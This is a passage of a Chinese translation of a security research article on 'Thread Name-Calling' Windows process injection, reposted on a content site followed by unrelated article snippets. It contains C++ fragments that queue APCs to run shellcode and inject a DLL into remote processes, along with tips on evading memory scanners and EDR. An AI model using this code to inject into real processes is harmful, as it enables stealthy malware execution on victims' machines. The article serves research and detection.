#ifdef USE_EXISTING_THREADHANDLE hThread = find_thread(hProcess, THREAD_SET_CONTEXT);
#elseHANDLE hThread = create_alertable_thread(hProcess);
#endifif (!hThread || hThread == INVALID_HANDLE_VALUE) {std::cerr << "Invalid thread handle!\n";return false;}
#ifdef USE_NEW_BUFFERshellcodePtr = VirtualAllocEx(hProcess, nullptr, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (!shellcodePtr) {std::cout << "Failed to allocate!" << std::hex << GetLastError() << "\n";return false;}std::cout << "Allocated: " << std::hex << shellcodePtr << "\n";void* _RtlMoveMemoryPtr = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlMoveMemory");if (!_RtlMoveMemoryPtr) {std::cerr << "Failed retrieving: _RtlMoveMemoryPtr\n";return false;}if (!queue_apc_thread(hThread, _RtlMoveMemoryPtr, shellcodePtr, remotePtr, (void*)payload_len)) {return false;}std::cout << "Added RtlMoveMemory to the thread queue!\n";
#elseDWORD oldProtect = 0;if (!VirtualProtectEx(hProcess, shellcodePtr, payload_len, PAGE_EXECUTE_READWRITE, &oldProtect)) {std::cout << "Failed to protect!" << std::hex << GetLastError() << "\n";return false;}std::cout << "Protection changed! Old: " << std::hex << oldProtect << "\n";
#endifbool isOk = false;auto _RtlDispatchAPC = GetProcAddress(GetModuleHandle("ntdll.dll"), MAKEINTRESOURCE(8)); //RtlDispatchAPC;if (_RtlDispatchAPC) {std::cout << "Using RtlDispatchAPC\n";if (queue_apc_thread(hThread, _RtlDispatchAPC, shellcodePtr, 0, (void*)(-1))) {isOk = true;}}else {if (queue_apc_thread(hThread, shellcodePtr, 0, 0, 0)) {isOk = true;}}if (isOk) std::cout << "Added to the thread queue!\n";
#ifndef USE_EXISTING_THREADResumeThread(hThread);
#endifCloseHandle(hThread);return isOk;
}


}

并且它有效!

查看实际效果

视频演示:  https://youtu.be/1BJaxHh91p4

图 3 – 线程名称调用的演示:注入 mspaint.exe 的代码执行了一个新进程:calc.exe

正如我们在测试中发现的那样,虽然我们调用了潜在的可疑 API(VirtualProtectExVirtualAllocEx),但对于大多数产品而言,仅凭这一点还不足以标记有效载荷:没有注册我们正在使用注入的缓冲区。

已知的限制和有待改进的领域

在我们的研究过程中,我们评估了几种使注入的缓冲区可执行的不同方法。不幸的是,每种方法都有其缺陷。最直接的方法是通过对进程进行操作的 API,例如VirtualProtectExVirtualAllocEx- 但是,使用这些函数可能会引起不必要的注意。另一种方法是通过 ROP 远程调用函数VirtualProtectVirtualAlloc- 但是,这涉及一组更加可疑的 API,因此我们决定坚持使用更简单的替代方案。

具有 RWX 访问权限的页面的存在是另一个指标,内存扫描器会快速发现它。只需再使用几个调用,我们就可以轻松实现一个场景,即分配一个具有读/写访问权限的新内存区域,将注入的缓冲区复制到那里,然后将其更改为读/执行。此外,一旦我们在远程进程的上下文中执行了代码,就没有什么可以阻止我们进一步转移,在其中分配额外的内存(只要该进程不使用 DCP 策略),并移动有效载荷,将访问权限更改回初始权限。

如果需要的话,我们还可以进一步减少打开该流程所需的访问权限,如本章开头所述。

补充:使用线程名进行 DLL 注入

 DLL 注入是使用我们的代码增强正在运行的进程的 著名技术之一LoadLibrary。它不是一种特别隐蔽的技术,因为它 调用必须先放到磁盘上的有效负载 (DLL)。此外,通过标准 API 加载 PE 本身会生成可用于检测的内核回调。尽管如此,它是一种在某些情况下很有用的简单技术,值得我们将其纳入我们的武器库中。

DLL 注入的典型实现包括:

  1. VirtualAllocEx – 为远程进程中的 DLL 路径分配内存
  2. WriteProcessMemory – 将路径写入分配的内存
  3. CreateRemoteThread (或等效方法)– 远程调用 LoadLibrary (将指针传递给写入路径)。某些变体可能涉及 LoadLibrary 通过 APC 而不是新线程运行。

在本节中,我们提出了一种替代实现,它不需要对目标进程的写访问权限,并且涉及非标准 API:

  1. SetThreadDescription + NtQueueApcThreadEx2 与 GetThreadDescription – 用于远程内存分配 + 将路径写入远程进程
  2. NtQueueApcThreadEx2 – 远程调用 LoadLibrary (当然,我们也可以使用新线程,就像在经典实现中一样)

第一步可以完全按照线程名称调用实现的方式实现(详见“借助线程描述进行远程写入”)。代码片段:
const wchar_t* buf = dllName.c_str ( ) ;
void *remotePtr = get_peb_unused ( hProcess ) ;
wchar_t* wPtr = pass_via_thread_name ( hProcess, buf, remotePtr ) ;

与线程名称调用相比,我们不必改变注入缓冲区的访问权限,因此第二步非常简单。

bool inject_with_loadlibrary(HANDLE hProcess, PVOID remote_ptr)
{HANDLE hThread = find_thread(hProcess, THREAD_SET_CONTEXT);bool isOk = queue_apc_thread(hThread, LoadLibraryW, remote_ptr, 0, 0);CloseHandle(hThread);return isOk;
}


}

查看实际效果

视频演示:  https://youtu.be/8cSNgE3gZxY

测试目标

所描述的技术在 Windows 10 和 Windows 11 上进行了测试。测试版本列表:
版本10.0.19045内部版本19045 (Windows 10企业版,64位)
版本10.0.22621内部版本22000 (Windows 11 Pro ,64位)
版本10.0。22621内部版本22621 (Windows 11 Pro,64位 - Windows 11 v22H2 )
版本10.0。22631内部版本22631 (Windows 11 Pro,64位 - Windows 11 v23H2 )

预期目标是 64 位进程。可以设置以下缓解策略:

  DWORD64 MitgFlags = PROCESS_CREATION_MITIGATION_POLICY_CONTROL_FLOW_GUARD_ALWAYS_ON| PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON // won't work with the version calling VirtualProtect/VirtualAlloc via ROP| PROCESS_CREATION_MITIGATION_POLICY_HEAP_TERMINATE_ALWAYS_ON| PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_ON| PROCESS_CREATION_MITIGATION_POLICY_HIGH_ENTROPY_ASLR_ALWAYS_ON| PROCESS_CREATION_MITIGATION_POLICY_STRICT_HANDLE_CHECKS_ALWAYS_ON| PROCESS_CREATION_MITIGATION_POLICY_EXTENSION_POINT_DISABLE_ALWAYS_ON| PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_ON| PROCESS_CREATION_MITIGATION_POLICY2_MODULE_TAMPERING_PROTECTION_ALWAYS_ON;

线程名称调用对设置了以下缓解策略的进程不起作用:

进程创建缓解策略_WIN32K_系统调用_DISABLE_ALWAYS_ON

源代码

包含所描述技术的实现的完整源代码可在以下存储库中找到:

GitHub - hasherezade/thread_namecalling: Process Injection using Thread Name

结论

随着 Windows 中新 API 的加入,注入技术的新思路也不断涌现。为了实现有效的检测,我们必须时刻关注不断变化的形势。幸运的是,微软还致力于提高反恶意软件产品的可见性,目前大多数重要的 API 都可以借助 ETW 事件进行监控。

Thread Name-Calling 使用了一些相对较新的 API。但是,它无法避免使用较旧的知名组件,例如 APC 注入 - 这些 API 应始终被视为潜在威胁。同样,在远程进程中操纵访问权限是一种可疑活动。但是,即使是这些指标,在典型的调用序列之外使用时,也可能被某些 AV 和 EDR 产品忽略。

参考

Process Injection, Technique T1055 - Enterprise | MITRE ATT&CK®

https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf

https://twitter.com/Hexacorn/status/1317424213951733761

https://twitter.com/_Gal_Yaniv/status/1353630677493837825

Redirect

https://www.unknowncheats.me/forum/general-programming-and-reversing/596888-communicating-thread-name.html

https://gitlab.com/ORCA000/tdp

Shellcode injection using ThreadNameInformation

Windows Process Injection: Asynchronous Procedure Call (APC) | modexp

APC Series: User APC API · Low Level Pleasure

Inject Me x64 Injection-less Code Injection

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1489118.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【LeetCode 随笔】C++入门级,详细解答加注释,持续更新中。。。

文章目录 58.【简单】最后一个单词的长度&#x1f31f; &#x1f308;你好呀&#xff01;我是 山顶风景独好 &#x1f388;欢迎踏入我的博客世界&#xff0c;能与您在此邂逅&#xff0c;真是缘分使然&#xff01;&#x1f60a; &#x1f338;愿您在此停留的每一刻&#xff0c;都…

Golang高效合并(拼接)多个gzip压缩文件

有时我们可能会遇到需要把多个 gzip 文件合并成单个 gzip 文件的场景&#xff0c;最简单最容易的方式是把每个gzip文件都先解压&#xff0c;然后合并成一个文件后再次进行压缩&#xff0c;最终得到我们想要的结果&#xff0c;但这种先解压后压缩的方式显然效率不高&#xff0c;…

SPICE | 常见电路SPICE模型总结

Ref. 1. CMOS VLSI Design: A Circuits and Systems Perspective 目录 0 基础 1 反相器 inverter 2 缓存器 buffer 3 NAND 4 NOR 5 传输门 Transmission gate 6 三态反相器 Tristate Inverter 7 选择器 Multiplexers 8 D锁存器 D Latch 9 D触发器 D Flip-Flop 0 基础…

vue3 antdv3 检测Modal的尺寸是否改变,全屏的时候获取Modal的width与height,然后我们就可以动态设置表格高度了。

1、先上个图&#xff0c;我们要实现如下的效果&#xff0c;中间的表格部分要自动随Modal的改变而改变。官方&#xff1a;Ant Design Vue — An enterprise-class UI components based on Ant Design and Vue.js 2、那我们一定要能够检测到Modal的宽高的改变才行&#xff0c;然后…

java学习--枚举

问题引入&#xff1a; 当需要解决一个季节类的问题&#xff0c;我们使用学到的类与对象&#xff0c;创建一个季节的类然后添加构造器在进行分装就可以实现&#xff0c;但问题也随之而来&#xff0c;这样不仅可以有正常的四季还可以添加其他不存在的四季以及可以更改四季的属性…

Javascript前端面试基础5【每日更10】

let与var的区别 let命令不存在变量提升&#xff0c;如果在let前使用&#xff0c;会导致报错&#xff08;var存在变量提升&#xff09;如果块区中存在let和const命令&#xff0c;就会形成封闭作用域不允许重复声明&#xff0c;因此&#xff0c;不能在函数内部重新声明参数 m…

牛客网-E-分组

题目来源&#xff1a;牛客 题目描述&#xff1a; 链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 dd当上了宣传委员&#xff0c;开始组织迎新晚会&#xff0c;已知班里有n个同学&#xff0c;每个同学有且仅有一个擅长的声部&#xff0c;把同学们分成恰好m组&#xff0c;…

【软考】设计模式之生成器模式

目录 1. 说明2. 应用场景3. 结构图4. 构成5. 适用性6. 优点7. 缺点8. java示例 1. 说明 1.生成器模式&#xff08;Builder Pattern&#xff09;&#xff0c;也称为建造者模式&#xff0c;是设计模式中的一种创建型模式。2.将一个复杂对象的构建与它的表示分离&#xff0c;使得…

RT-Thread Studio搭建 Renesa Version Board开发环境

目录 概述 1 认识Version Board 1.1 Vision-Board简介 1.2 Vision-Board的资源 2 搭建Version Board开发环境 2.1 RT Thread Studio 2.2 安装SDK 3 开发环境验证 3.1 创建项目 3.2 编译和下载 概述 本文主要介绍使用RT-Thread Studio搭建 Renesa Version Board开发环…

MySQL服务启动与关闭

1. 服务启动与关闭 在生产环境中&#xff0c;数据库服务的运行状态一般是不会进行随意调整的&#xff0c;在特殊场景下需要提前审批后&#xff0c;才能进行调整。在进行数据库服务关闭前&#xff0c;可以将业务先切换到备库&#xff08;从库&#xff09;&#xff0c;再停止原有…

自定义prometheus监控获取nginx_upstream指标

1、前言 上篇文章介绍了nginx通过nginx_upstream_check_module模块实现后端健康检查&#xff0c;这篇介绍一下如何自定义prometheus监控获取nginx的upstream指标来实时监控nginx。 2、nginx_upstream_status状态 支持以下三种方式查看nginx_upstream的状态 /status?formatht…

day05 Router、vuex、axios

配置 router和vuex需要在创建vue项目的时候&#xff0c;开始的时候选择Manually select features&#xff0c;于是就可以在下一个创建配置讯问中选择router和vuex。 axios则需要执行命令行&#xff1a; npm install axios -S 之后再在需要发送请求的view导入即可。 router…

【H.264】H.264详解(二)—— H264视频码流解析示例源码

文章目录 一、前言二、示例源码【1】目录结构【2】Makefile源码【3】h264parser.c源码【4】编译运行【5】源码下载地址 声明&#xff1a;此篇示例源码非原创&#xff0c;原作者雷霄骅。雷霄骅&#xff0c;中国传媒大学通信与信息系统专业博士生&#xff0c;在此向雷霄骅雷神致敬…

放大电路总结

补充: 只有直流移动时才有Rbe动态等效电阻 从RsUs看进去,实际上不管接了什么东西都能够看成是一个Ri(输入电阻) Ri Ui/Ii Rb//Rbe Ui/Us Ri/(RiRs) Aus (Uo/Ui)*(Ui/Us) Au *Ri/(RiRs) 当前面是一个电压源的信号 我们就需要输入电阻更大 Ro--->输出电阻--->将…

RustDesk远程控屏软件使用教学

RustDesk自建服务器使用教学RustDesk远程控屏软件使用教学 下载软件后 右键管理员运行 点击右上角设置按钮 管理员运行 保证启动服务 点击左侧导航栏网络按钮 复制域名或者ip地址到 ID服务器 输入框 然后点击应用即可

C语言第三天笔记

变量 概念 表面&#xff1a;程序运行过程中取值可以改变的数据 实质&#xff1a;变量其实代表了一块内存区域/单元/空间。变量名可视为该区域的标识。 整个变量分为三部分&#xff1a; 变量名&#xff1a;这个只是变量的一个标识&#xff0c;我们借助变量名来存取数据。 变…

数据库实例迁移实践

背景 随着业务发展&#xff0c;数据库实例磁盘逐渐升高&#xff0c;告警频繁&#xff0c;且后续可能会对DDL产生影响&#xff08;尤其是借助ghost等工具执行的DDL&#xff09;。 该实例有多个库&#xff0c;则需要迁移其中的一个或几个单库到其他实例&#xff0c;为什么不做分…

第G4周:CGAN|生成手势图像 | 可控制生成

本文为&#x1f517;365天深度学习训练营 中的学习记录博客 原作者&#xff1a;K同学啊 理论知识&#xff1a; 条件生成对抗网络&#xff08;CGAN&#xff09;是在生成对抗网络&#xff08;GAN&#xff09;的基础上进行了一些改进。对于原始GAN的生成器而言&#xff0c;其生成的…

探索 SPL-404 协议标准:NFT 与 DeFi 的融合

在快速发展的数字资产领域中&#xff0c;NFT 协议标准持续演变&#xff0c;改变了我们对数字所有权和互动方式的理解。从 Art 到 Gamefi 等等&#xff0c;NFT 已经演变成数字经济的重要组成部分&#xff0c;吸引了广泛关注。遵循 ERC404 协议&#xff0c;SPL404 概念在 Solana …

昇思25天学习打卡营第22天|CV-Vision Transformer图像分类

打卡 目录 打卡 ViT简介 模型结构 基于ViT实现ImageNet分类任务 环境准备与数据读取 模型解析 Transformer基本原理 Self-Attention模块 代码实现 Transformer Encoder 代码实现 ViT模型的输入 Patch Embedding代码处理输入 整体构建ViT 模型训练与推理 模型训…